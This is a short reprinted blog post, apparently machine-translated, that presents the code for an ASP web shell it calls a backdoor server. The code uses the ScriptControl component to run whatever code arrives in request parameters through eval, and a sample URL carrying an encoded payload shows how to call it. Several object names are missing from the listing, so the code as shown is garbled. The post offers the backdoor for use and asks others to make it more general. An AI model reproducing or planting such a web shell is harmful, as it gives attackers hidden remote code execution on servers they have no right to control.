SoFunction
Updated on 2025-04-10

A newer ASP backdoor server implementation code

Today I re-study the ScriptControl component in VB and found that it can also be called in asp. I studied the following method and later discussed it with lcx. I got the following code. I would like to thank my senior for my advice, haha.

The code is very simple, so I won't explain it much to avoid someone calling me accusing me of pretending.

Copy the codeThe code is as follows:

<%
Set o = ("ScriptControl")
= "vbscript"
(Request("SubCode")) 'Argument SubCode as process code
"e",Server,Response,Request,Application,Session,Error 'Argument name e is called, and 6 base objects are pressed as parameters at the same time

'Call example:
'http://localhost/?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=%%28%%22%29%29
%>


Note that although it can be used, the experiment found that only the lake2 client can use it. I hope some great people come out and make it more general. hehe. It's good to write a client for yourself.


Reprinted from: /ylbhz/blog